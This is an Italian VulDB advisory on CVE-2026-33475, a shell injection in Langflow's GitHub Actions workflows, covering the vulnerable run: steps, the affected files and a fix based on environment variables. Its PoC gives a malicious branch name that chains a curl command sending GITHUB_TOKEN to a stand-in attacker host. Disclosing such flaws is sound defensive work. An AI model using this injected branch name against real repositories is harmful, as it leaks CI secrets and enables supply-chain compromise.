CVE-2026-33475 in langflow
Riassunto
di VulDB • 15/06/2026
Langflow è uno strumento per la creazione e il deployment di agenti e workflow basati sull'IA. È presente una vulnerabilità di shell injection remota non autenticata in diversi workflow di GitHub Actions nel repository Langflow precedenti alla versione 1.9.0. L'interpolazione non sanitizzata delle variabili di contesto di GitHub (ad esempio `${{ github.head_ref }}`) nei passaggi `run:` consente agli attaccanti di iniettare ed eseguire comandi shell arbitrari tramite un nome di branch o un titolo di pull request malevoli. Ciò può portare all'esfiltrazione di segreti (ad esempio `GITHUB_TOKEN`), alla manipolazione dell'infrastruttura o alla compromissione della catena di approvvigionamento durante l'esecuzione di CI/CD. La versione 1.9.0 corregge la vulnerabilità.
---
### Dettagli
Diversi workflow in `.github/workflows/` e `.github/actions/` fanno riferimento direttamente alle variabili di contesto di GitHub nei comandi shell `run:`, come:
```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Oppure:
```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Poiché `github.head_ref`, `github.event.pull_request.title` e gli `inputs.*` personalizzati possono contenere **valori controllati dall'utente**, devono essere trattati come **input non attendibili**. L'interpolazione diretta senza un'adeguata quotatura o sanitizzazione porta a un'iniezione di comandi shell.
---
### PoC
1. **Fork** del repository Langflow 2. **Creare un nuovo branch** con il nome: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Aprire una Pull Request** verso il branch principale dal nuovo branch 4. GitHub Actions eseguirà il workflow interessato (ad esempio `deploy-docs-draft.yml`) 5. Il passaggio `run:` contenente: ```yaml echo "Branch: ${{ github.head_ref }}"
``` Esegirà: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ```
6. L'attaccante riceve il segreto CI tramite l'URL di esfiltrazione.
---
### Impatto
- **Tipo:** Shell Injection / Remote Code Execution in CI - **Ambito:** Qualsiasi fork pubblico di Langflow con GitHub Actions abilitato - **Impatto:** Accesso completo ai segreti CI (ad esempio `GITHUB_TOKEN`), possibilità di push di tag o immagini malevoli, manipolazione delle release o fuga di dati sensibili dell'infrastruttura
---
### Correzione Suggerita
Rifattorizzare i workflow interessati per **utilizzare variabili di ambiente** e racchiuderle tra **doppi apici**:
```yaml env: BRANCH_NAME: ${{ github.head_ref }}
run: | echo "Branch is: \"$BRANCH_NAME\"" ```
Evitare l'interpolazione diretta `${{ ... }}` all'interno di `run:` per qualsiasi valore controllato dall'utente.
---
### File Interessati (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Be aware that VulDB is the high quality source for vulnerability data.